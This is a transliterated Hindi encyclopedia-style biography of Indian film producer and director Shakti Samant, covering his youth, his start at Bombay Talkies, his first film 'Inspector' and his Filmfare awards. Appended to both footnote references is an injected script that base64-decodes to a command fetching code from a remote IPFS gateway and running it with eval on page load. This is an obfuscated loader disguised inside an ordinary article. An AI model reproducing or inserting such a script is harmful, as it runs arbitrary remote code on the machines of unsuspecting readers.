शक्ति सामंत
shakti samant
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| poora nam | shakti samant |
| janm | 13 janavari, 1926 |
| janm bhoomi | bardhaman nagar, bangal |
| mrityu | 9 aprail, 2009 |
| mrityu sthan | mumbee, maharashtr |
| karm bhoomi | mumbee |
| karm-kshetr | nirmata-nirdeshak |
| mukhy filmean | hav da brij, amar prem, aradhana, kati patang, kashmir ki kali, amanush adi |
| puraskar-upadhi | filmapheyar puraskar (tin bar) sarvashreshth film banane ke lie |
| nagarikata | bharatiy |
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shakti samant (aangrezi: Shakti Samanta, janm: 13 janavari, 1926 - mrityu: 9 aprail 2009) ek prasiddh film nirmata evan nirdeshak the. shakti samant ne hav da brij, amar prem, aradhana, kati patang, kashmir ki kali, amanush jaisi yadagar filmean banaeean.
jivan parichay
shakti samant ka janm 13 janavari, 1926 ko bangal ke bardhaman nagar mean hua tha. unake pita ek ianjiniyar the jinaki ek durghatana mean mrityu ho gee. us vaqt shakti samant keval dedh sal ke the. padhaee ke lie unhean uttar pradesh ke badayooan mean unake chacha ke pas bhej diya gaya. deharadoon se apani 'iantaramidiyat' pas karane ke bad unhoanne kalakatta (ab kolakata) jakar 'ianjiniyariang eantrans' ki pariksha di aur avval bhi aye. lekin jab vo bharti ke lie gaye to unhean yah kah kar vapas kar diya gaya ki vah pariksha keval bangal, bihar aur o disha ke chhatroan ke lie thi aur vo uttar pradesh se aye hue the. durbhagy yahian pe khatam nahian huee. jab vo vapas uttar pradesh gaye to vahaan par sabhi kalejoan mean bharti ki prakriya samapt ho chuki thi. unaka ek sal bina kisi vajah ke barabad ho gaya. unake chacha ke kahane par shakti unake sath unake kam mean hath bantane lag gaye. sath hi sath vo thiyatar aur drama ke apane shauq ko bhi poora karate rahe. ek rat jab vo thiyatar ke riharsal se ghar der se laute to unake chacha ne unhean kuchh bhala bura sunaya. inhean unaka vah bartav pasand nahian aya aur unhoanne apane chacha ka ghar hamesha ke lie chho d diya.[1]
kairiyar ki shurooat
apane chacha ke ghar se nikalane ke bad shakti muanbee ke as-pas kam ki talash kar rahe the kyoanki unhean pata tha ki unaka aantim muqam yah kala-nagari hi hai. unhean dapoli mean ek 'aianglo haee skool' mean naukari mil gee. yahaan se muanbee stimar se ek ghante mean pahuanchi ja sakati thi. us skool ke chhatr zyadatar afrikan muslim the aur 23-24 sal ki ayu ke the, jab ki vo khud 21 sal ke the. shakti ne dekha ki skool mean chhatroan ki chahuanmukhi vikas ke lie saz-o-saman ka b da abhav hai. unhoanne skool ke pradhanachary se is bat ka zikr kiya aur chhatroan ke lie khel-kood ke kee chizean kharidavaye. chhatr shakti ke is aandaz se mukhatib hue aur unake achchhe dost ban gaye. apane chacha ke sath kam karate hue shakti ko mahine ke 3000 rupaye milate the, jabaki yahaan unhean keval 130 rupaye milate. usamean se 30 rupaye kharch hote aur 100 rupay vo bacha lete. film jagat mean kuchh karane ki unaki dili tamanna unhean har shukravar muanbee khianch le jati. shukravar sham ko vo stimar se muanbee jate, vahaan par kam dhooandhate aur phir somavar ki subah vapas a jate. vo kee film nirmataoan se mile, lekin vah rajanitik halachal ka samay tha. desh ke bantavare ke bad bahut sare kalakar pakistan chale gaye the. film iandastri ke lie bura vaqt chal raha tha. shakti aant mean jakar dada muni ashok kumar se mile, jo unake pasandida abhineta bhi the, aur jo un dino 'b aaumbe t aaukiz' se ju de hue the. dadamuni ne unhean is shart par sahayak nirdeshak ke taur par 'b aaumbe t aaukiz' mean rakh liya ki unhean koee tanakhvah nahian milegi, sivay dopahar ke khane aur chay ke. shakti razi ho gaye. uttar pradesh mean rahane ki karan unaki hiandi kafi achchhi thi. isalie vahaan par fani majumadar ke baangla mean likhe chizoan ko vo hiandi mean anuvad kiya karate. is kam ke lie unhean paise zaroor diye gaye. kuchh dino ke bad shakti ne ashok kumar se apane dil ki bat kahi ki vo muanbee darasal abhineta banane aye haian. par unaki pratibha aur vyaktitv ko samajhakar dadamuni ne unase abhinay mean nahian balki film nirman ke taqaniki kshetr mean hath azamane ke lie kaha.[1]
abhinay aur nirdeshan
shakti samant ke dil mean abhinay karane ki chahat shuroo se hi thi. vo filmoan mean chhote-mote rol nibhakar is shauq ko poora kar lete the. unake anusar unhe har film mean pulis ianspektar ka rol de diya jata tha aur ek hi sanvad har film mean unhean kahana p data ki "f aaulo kar nambar falana, ianspektar falana spikiang". film jagat se ju de rahane ki vajah se kee b di hastiyoan se unaki jan-pahachan hone lagi thi. do aise b de log the guru datt aur lekhak brajendr gau d. gau d sahab ko film 'kasturi' nirdeshit karane ka nyota mila, lekin kisi doosari kanpani ki film mean vyast rahane ki vajah se is dayitv ko vo thik tarah se nibha nahian pa rahe the. isalie unhoanne shakti samant se unhean is film mean unaki madad karane ko kaha. samant sahab ne is kam ke 250 rupaye lie the. kisi film se yah unaki pahali kamaee thi. 'kasturi' (1954) mean sangit pankaj malik ka tha.[1]
pahali film 'ianspektar'
gitakar aur nirmata es. ech. bihari tatha lekhak darogaji 'ianspektar' namak film ke nirman ke bare mean soch rahe the. film ko 'prodyoos' karavane ke lie vo log nadiyadavala ke pas ja pahuanche. nadiyadavala ne kaha ki is kahani par saphal film banane ke lie mashahoor aur mahange abhinetayoan ko lena p dega. bajat ka santulan big d n jaye isalie un logoan ne is film ke lie kisi naye nirdeshak ko niyukt karane ki sochi taki nirdeshak ke lie zyada paise n kharchane p de. aur is tarah se shakti samant ne apani pahali film 'ianspektar' ka nirdeshan kiya jo san 1956 mean pushpa pikchars ke bainar tale riliz huee. film 'hit' rahi aur is film ke bad unhean phir kabhi pichhe mu dakar dekhane ki zaroorat nahian p di. is film ke gane bhi khasa pasand kiye gaye. hemant kumar is film ke sangitakar the. yahaan yah batana bhi zaroori hoga ki shakti samant ne kam to pahale 'ianspektar' ka hi shuru kiya tha lekin unaki doosari film 'bahoo' (1955) pahale pradarshit ho gee.[1]
prasiddh filmean
| nirdeshak ke roop mean[2] | nirmata ke roop mean |
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samman aur puraskar
shakti samant ko tin bar sarvashreshth film banane ke lie filmapheyar puraskar mila. filmean thian aradhana (1969), amanush (1975) aur anurag (1972).
nidhan
apani kala aur pratibha ke zariye film jagat mean pahachan banane vale suprasiddh nirmata evan nirdeshak shakti samant 9 aprail, 2009 ko muanbee mean 83 varsh ki ayu mean unhoanne is duniya-e-fani ko alavida kah kar apani anant yatra par chale gaye.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 chatarji, suj aauy. saphal 'huee' teri aradhana...shakti samant par vishesh (hindi) (ech.ti.em.el) hind yugm avaz. abhigaman tithi: 8 navambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shakti samant : filmographi (hindi) (ech.ti.em.el) vebaduniya hindi. abhigaman tithi: 8 navambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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